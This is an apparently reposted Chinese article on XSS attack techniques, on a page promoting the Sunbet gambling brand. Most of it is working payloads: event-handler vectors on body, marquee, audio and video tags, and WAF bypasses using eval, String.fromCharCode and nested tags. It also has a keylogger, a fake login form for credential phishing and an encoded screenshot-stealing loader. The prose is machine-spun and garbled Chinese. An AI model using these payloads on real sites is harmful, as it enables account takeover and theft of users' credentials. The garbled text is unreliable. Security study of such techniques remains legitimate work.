对XSS的深入分析过程详解 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

对XSS的深入分析过程详解

申博_安全预警 申博 159次浏览 已收录 0个评论

对XSS的深入分析过程详解跟着时候的推移,Web运用破绽的范例在赓续演化,但年复一年延续存在且影响普遍的破绽依然还属XSS破绽。长期以来,XSS破绽算是异常罕见的平安题目,以至于对大多数人来讲,纵然一个新的XSS破绽被表露,但从心田来讲,早已习已为常。本文深切形貌XSS进击在几种现实情况中的运用,同时顺带提到了一些XSS进击的绕过手艺。

几种加载XSS Payload的不罕见标签

和我们能想到的一样,防备是最好的医治要领,并且去实验和减缓一些不测的进击也不失为一种好的战略实践。一般情况下,大多数组织机构只会布置现成的WAF产物(收集运用防火墙),而不是制定开辟合适本身的减缓手艺,基础不会意想到那些连系本身的防护手艺才是最适当最精准的平安措施。

如许一来,进击者们在组织代码考证要求或执行代码审计以后,有WAF产物也没用,攻防两边就又构成了猫捉老鼠或是打地鼠的游戏款式了。

就通用的XSS filter来讲,因为<script>是引入JavaScript剧本执行的原始要领,以是个中对<script> 和 </script> 配对标签的运用是完整制止的。

若是一个进击者发明<script>标签被制止以后,他可以或许会转向追求别的要领来执行JavaScript剧本,打地鼠游戏就最先了。

尽人皆知,一种挪用JavaScript的要领就是在元素范例上运用事宜处置惩罚器(Event Handler),一般的一种要领相似:<img src=x onerror=alert(‘xss’) />,这是一种运用无效src属性来触发 onerror 事宜处置惩罚器(onerror event handler)的要领,固然,个中包罗了一个alert跳出框的xss payload,以下alert(1):

对XSS的深入分析过程详解因为过分运用img标签和onerror事宜处置惩罚器,它们常常被列入XSS过滤黑名单,但除此以外另有别的情势的XSS进击向量。虽然一切可以或许的XSS进击向量标签列表没法一时列出,但个中几种异常有须要在此谈谈。

Body 标签

因为这类进击要领向量,在给定页面中只需一个body标签,有些人可以或许以为它不起作用,但现实上,一切浏览器都会把它当事宜处置惩罚器(Event Handler)来执行。在这里,可以或许在onpageshow事宜顶用提交body元素的要领,构成XSS Payload,当个中的body元素被剖析后就会触发Payload。示例以下:

<body onpageshow=alert(1)>

Style 标签

只管onload事宜总会被辨认为风险行动,但别的来讲,它也可以或许和style标签组合来用,虽然这类场景其实不多见。示例以下:

<style onload=alert(1) />

Marquee 标签

Marquee 标签除在web开辟中有标签内容回滚作用以外,它还支撑一系列的事宜处置惩罚顺序,因而可以或许用它来完成XSS Payload触发。Marquee支撑的一系列事宜处置惩罚顺序以下:

onbounce事宜:是在<marquee>标签中的内容转动到高低或摆布界限时触发的事宜处置惩罚顺序,该事宜只需在<marquee>标签的behavior属性设为alternate时才有用;

onfinish事宜:当 marquee 完成 loop 属性设置的值时触发。它只能在 loop 属性设置为大于 0 的某个数字时触发;

onstart事宜: 当 marquee 标签内容最先转动时触发。

连系此,到场XSS Payload的示例以下:

<marquee behavior="alternate" onstart=alert(1)>hack the planet</marquee>

<marquee loop="1" onfinish=alert(1)>hack the planet</marquee>

<marquee onstart=alert(1)>hack the planet</marquee>

Media 标签

可以或许这类应用音视频标签来加载XSS Payload的要领很少见,现实来讲,音视频标签中确切有几种事宜处置惩罚顺序不会随意马虎被列入黑名单行列,尤其是以下几种:

oncanplay: 在用户可以或许最先播放音视频(audio/video)时触发;

ondurationchange: 在音视频(audio/video)的时长发作变化时触发;

onended: 在音视频(audio/video)播放结束时触发;

onloadeddata: 在音视频数据帧加载时触发,也即在以后帧的数据加载完成且还没有充足的数据播放音视频(audio/video)的下一帧时触发;

onloadedmetadata: 在指定音视频(audio/video)的元数据(如分辨率和时长)加载后触发;

onloadstart: 在浏览器最先寻觅指定音视频(audio/video)时触发;

onprogress: 浏览器下载指定的音视频(audio/video)时触发;

onsuspend: 在浏览器读取音视频(audio/video)数据中断时触发。

连系以上事宜,到场XSS Payload的示例以下:

<audio oncanplay=alert(1) src="/media/hack-the-planet.mp3" />

<audio ondurationchange=alert(1) src="/media/hack-the-planet.mp3" />

<audio autoplay=true onended=alert(1) src="/media/hack-the-planet.mp3" />

<audio onloadeddata=alert(1) src="/media/hack-the-planet.mp3" />

<audio onloadedmetadata=alert(1) src="/media/hack-the-planet.mp3" />

<audio onloadstart=alert(1) src="/media/hack-the-planet.mp3" />

<audio onprogress=alert(1) src="/media/hack-the-planet.mp3" />

<audio onsuspend=alert(1) src="/media/hack-the-planet.mp3" />

<video oncanplay=alert(1) src="/media/hack-the-planet.mp4" />

<video ondurationchange=alert(1) src="/media/hack-the-planet.mp4" />

<video autoplay=true onended=alert(1) src="/media/hack-the-planet.mp4" />

<video onloadeddata=alert(1) src="/media/hack-the-planet.mp4" />

<video onloadedmetadata=alert(1) src="/media/hack-the-planet.mp4" />

<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />

<video onprogress=alert(1) src="/media/hack-the-planet.mp4" />

<video onsuspend=alert(1) src="/media/hack-the-planet.mp4" />

黑名单代码款式

正如许多杀毒软件的形式婚配划定规矩一样,只需某种行动行动和其内置的划定规矩相婚配,则该行动就会被立时列入黑名单中制止执行。

在有些场景下,我们发明与JavaScript代码同义的种种行动都会被目标防护软件列入黑名单,以至是运用一般的alert也不破例。在此,有几种要领可以或许绕过这些形式婚配划定规矩。

Eval & 别的冗余符号

若是目标体系的WAF或别的防护软件没把 /(eval|replace)\(.+?\)/i 这类款式列入黑名单,那末我们可以或许在个中经由过程混合冗余符号的体式格局构成Payload,应用个中的eval行动来加载Payload,再应用以后的replace行动把冗余符号举行替代删除。

就好比,eval(‘alert(1)’) 等同于  alert(1) ,传入eval的字符串行动会被解释执行,若是我们依照通例体式格局来组织,一定会被目标体系中的WAF类产物辨认阻挠。

以是,在此,我们可以或许经由过程eval和replace事宜的组合应用,先在个中到场一些冗余符号来举行殽杂,再举行替代删除,终究绕过WAF划定规矩,构成我们想要到达的Payload。示例以下:

eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))

缭绕引号转义来做文章

当引号被转义(escape)以后,不论运用了甚么绕过手艺,一定会引起题目,就像上面的eval(‘~a~le~rt~~(~~1~~)~’.replace(/~/g, ”))一样,若是要顺带把引号转义,其Payload可以或许以下:

eval(\'~a~le~rt~~(~~1~~)~\'.replace(/~/g, \'\'))

但另一种变更要领就是应用正则表达式来制止带入引号的运用,如可以或许在上述Payload中引入正斜杠体式格局,然后再用建立的正则表达式工具属性来接见个中的闭合字符串。示例以下:

eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))

以此用new String()来完成把~转换为空字符串的目标,从而不须要用到引号。

对引号执行转义并绕过WAF类产物形式婚配划定规矩的一个有用手腕是运用eval的String.fromCharCode要领,该要领将猎取一个或多个十进制Unicode值,然后将它们转换成等效的ASCII字符,并将它们连成一个字符串,如:

console.log(String.fromCharCode(65,66,67,68))  //在终端返回显现的是字符串 "ABCD"

经由过程这类对Unicode值的转换,可以或许把目标值传递给eval,因而,可以或许组织Payload以下:

eval(String.fromCharCode(97,108,101,114,116,40,49,41))  //// 终究执行的会是 alert(1)

别的运用Eval的要领

上面的例子有些是缭绕eval的运用而不是过滤来谈的,因为eval是一种人人熟知的风险要领,以是常常会看到/eval(.+?)/i如许的过滤体式格局。

相应的,我们也可以或许接纳别的要领来躲避过滤。因为函数可以或许存储在JavaScript的变量中,以是为了不直接挪用eval,我们可以或许把它分配给一个变量,然后间接挪用它,示例以下:

var x = eval; x(‘alert(1)’)

别的一种间接挪用eval的要领是用括号举行组织,即用括号间接挪用法,如表达式(1,2,3,4)返回的是4,即括号中末了一个,以是(1,eval)返回的是函数eval,详细示例以下:

(eval)    // 返回函数eval

(1, eval) // 依然返回函数eval

因而可以或许组织以下Payload来执行:

(1, eval)('alert(1)')  // 返回 alert(1)

基于此,也可以或许运用call要领来直接挪用,以下:

eval.call(null, 'alert(1)')  //返回 alert(1)

其次,可以或许界说一个新函数的要领来躲避直接对eval的挪用,固然这类要领还会涉及到一些语法界说,以下:

function hackThePlanet () {

  alert(1)

-------------------------------------

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

-------------------------------------

}

末了,还可以或许用建立Function工具的体式格局来完成alert挪用,该工具接收组织函数中的字符串作为函数完成,以下:

new Function('alert(1)')()

应用毛病输入过滤机制完成绕过

若是用户输入内容看似风险,那末就须要对其输入和相应举行一些过滤,最好的要领就是只显现出一些通用性毛病或是直接谢绝用户的全部要求。

不论怎么说,这类定制化的减缓防护战略也很罕见,但就像上述我们提到的种种绕过手艺一样,若是我们充足了解了目标体系的输入过滤机制,那末,也可以或许应用这类过滤机制,以其人之道还治其人之身,终究组织出我们的有用Payload。

应用不平安款式删除机制

删除不平安风险数据的最罕见要领之一可以或许就是把它直接删除,一些过滤器只会简朴地以为,风险数据删除就平安了。

这类删除机制除非是递归要领执行,不然,它也会本身把本身玩死。就像若是<script>和 </script>标签对会被过滤器转换为空字符串,那末,把它们组合组织混合放入一条javascript中,终究只需<script>和 </script>标签对被删除,别的剩下的就又构成了新的组合体式格局,示例以下:

<sc<script>ript>alert(1)</sc</script>ript>

上述javascript中,若是过滤器只是简朴地把<script>和 </script>标签对删除,那末终究会剩下:

<script>alert(1)</script>

圆满,这就是我们想要的。一样的要领可以或许运用到一些标签属性或事宜处置惩罚顺序中,就像若是onerror是删除目标,那末,我们可以或许组织以下Payload:

<img src=x ononerrorerror=alert(1) />

终究删除后剩下的结果为:

<img src=x onerror=alert(1) />

替代不平安款式

当一些不平安的款式被替代而不是被删除以后,目标体系过滤器要辨认它们,可以或许就有一些麻烦了。依据分歧的过滤器划定规矩,可以或许运用替代体式格局来组织我们终究想要的Payload。

就好比,若是目标体系的过滤器会把<script></script>标签对都过滤替代为NAUGHTY_HACKER字段,那末,我们提交<script>alert(1)</script> 以后的结果就会是NAUGHTY_HACKERalert(1)NAUGHTY_HACKER。

但若是我们把<script>标签对的声明改成<script <script>> 和 </script </script>>这类嵌套式款式后,那末参照替代为NAUGHTY_HACKER字段的划定规矩,关于<script>alert(1)</script>来讲,目标过滤器会把它过滤为:

<script NAUGHTY_HACKER>alert(1)</script NAUGHTY_HACKER>

在最先标签<script NAUGHTY_HACKER>中,浏览器会把NAUGHTY_HACKER默许剖析为一个不带值的属性,就像input中的autofocus属性一样。在闭合标签</script NAUGHTY_HACKER>中,虽然手艺上属于无效,但终究却能准确剖析。因为浏览器在某种程度上为了削减毛病,虽然能辨认到这个附加属性,但会简朴地把它无视掉。终究在浏览器的搜检器结果以下:

对XSS的深入分析过程详解

XSS的影响毫不仅仅是跳出弹框!

一些XSS表露破绽中简朴的跳出弹框PoC证实,多是致使XSS破绽伤害被认知缺乏的一个缘由吧,只管XSS挪用alert情势的弹框能证实破绽的存在,但却不克不及很好地证实XSS破绽的现实威力和影响。以是,XSS破绽致使的JavaScript执行究竟会有多严峻,让我们发作无穷遥想。在此就分享两个案例。

无需会话Cookie挟制完成账户猎取

会话Cookie挟制多是XSS进击中对目标体系或用户的最大潜伏要挟,因为这一般会致使目标用户的会话被进击者完整支配应用。

越来越多的人熟知会话挟制的风险,因而,后期在会话信息中到场了HttpOnly符号,来制止JavaScript读取Cookie,这应当算是一个大的改进了,但现实来讲,挟制账户也其实不只需Cookie挟制一种要领。

有许多事宜顺序可以或许和JavaScript联络关系起来,个中一个就是 keypress 按键事宜(你能看到该事宜背地会发作甚么吗?)。经由过程在keypress事宜的document挪用要领中添加回调函数Callback,在用户点击、按下或选中触发还调,以此来截取用户的按键信息。

经由过程这类操纵,进击者可以或许有用地将键盘记录器植入用户浏览器中,完成按键监听,盗取用户暗码凭证相干的按键信息。以下视频:

对XSS的深入分析过程详解上图中,keypress 按键事宜经由过程包罗以下内容的JavaScript文件,捕捉按键事宜信息并发送到进击者的当地web服务器中。

document.addEventListener('keypress', function (event) {

  var xhr = new XMLHttpRequest()

  xhr.open('POST', '/keylogger')

  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')

  xhr.send('data=' + event.key)

})

DOM 情势的支配应用

虽然上述XSS组织的键盘记录器能一般起效,但若是不被目标用户信托,疑惑不了目标用户执行输入,那末,这类进击末了也会无效。

我们可以或许对上述键盘记录器PoC稍作修正,可以或许修正执行时的DOM,用包罗登录页面的body内容举行替代。如许一来,可以或许把恣意符号内容都分配给document.body.innerHTML作为属性,以下:

var dummyFormHtml = 'We\'ve had reports of bad guys trying to do wrong by ' +

                    'our users lately - help us, help you, by logging in ' +

                    'again to confirm your identity<br><input type="text" />' +

                    '<br><input type="password" /><br><input type="submit" value="Login" />'

document.body.innerHTML = dummyFormHtml

document.addEventListener('keypress', function (event) {

  var xhr = new XMLHttpRequest()

  xhr.open('POST', '/keylogger')

  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')

  xhr.send('data=' + event.key)

})

如许,页面的body内容将会构成一个疑惑性的登录框,诱运用户输入暗码凭证等敏感信息。以下:

对XSS的深入分析过程详解虽然这只是个简朴的示例,然则基于此,进击者可以或许建立和网站登录页面如出一辙的垂纶页面,以假乱真,构成有用进击。究竟结果,大部份受害者只需看到准确的域名,就不会对登录页面发作太多质疑。

DOM 情势的这类支配应用远不止于此,别的,它还可以或许用来组织庞杂的社工进击。好比,可以或许被组织用来向用户发送提醒关照,通知用户须要经由过程某个号码去联络客户支撑局部,若是这类提醒显现在和用户接见的目标网站雷同的域名上,那末其可信度就相称高了,只需用户拨通所谓的客户局部德律风,小我敏感信息就会被进击者随意马虎取得。

一图胜千言 – 应用XSS盗取用户浏览器视图截图

现在,跟着古代浏览器功用特征的赓续发展更新,XSS Payload的组织体式格局也赓续晋级,应用新的浏览器功用特征,进击者以至可以或许盗取到用户以后浏览器视图的截图信息。

html2canvas 可以或许完成在用户浏览器端直接对全部或局部页面举行截屏,应用这一功用,进击者用6行JavaScript代码就可以盗取受害者浏览器视图截图,并回传到掌握服务器。代码示例以下:

html2canvas(document.querySelector("body")).then(canvas => {

  var xhr = new XMLHttpRequest()

  xhr.open('POST', '/screenshot')

  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')

  xhr.send('data=' + encodeURIComponent(canvas.toDataURL()))

});

连系上述代码,组织以下Payload提交到测试的目标用户运用中,以后,就会天生一张包罗目标用户运用信息的截图图片,并且该图片会被回传至进击者掌握服务器中。

<img src="/media/hack-the-planet.jpg" onload=eval(String.fromCharCode(115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,97,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,97,46,115,101,116,65,116,116,114,105,98,117,116,101,40,39,115,114,99,39,44,39,47,115,99,114,105,112,116,115,47,115,99,114,101,101,110,115,104,111,116,46,106,115,39,41,59,100,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41,59,125,44,49,48,48,48,41)) />

上述代码中的十进制数编码对应的就是以下函数要领:

setTimeout(function() {

  var d = document;

  var a = d.createElement('script');

  a.setAttribute('src','/scripts/screenshot.js');

  d.head.appendChild(a);

}, 1000)

setTimeout()要领用于在指定的毫秒数后挪用函数,这里挪用了setTimeout缘由是为了确保图象显现在屏幕上以供考证申明。

虽然上述Payload是将截图发送到和目标Web运用雷同的服务器中,但在现实情况中,完整可以或许把截图发送到进击者掌握的长途外部服务器中去。

Payload一旦执行后,一个名为screenshot.png的截图文件就会出现在Node.js运用中,该截图包罗了网页内容,以下:

对XSS的深入分析过程详解虽然这类进击的现实运用有限,但它可以或许很好地解释应用XSS破绽能完成的进击场景,值得思索自创。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明对XSS的深入分析过程详解
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址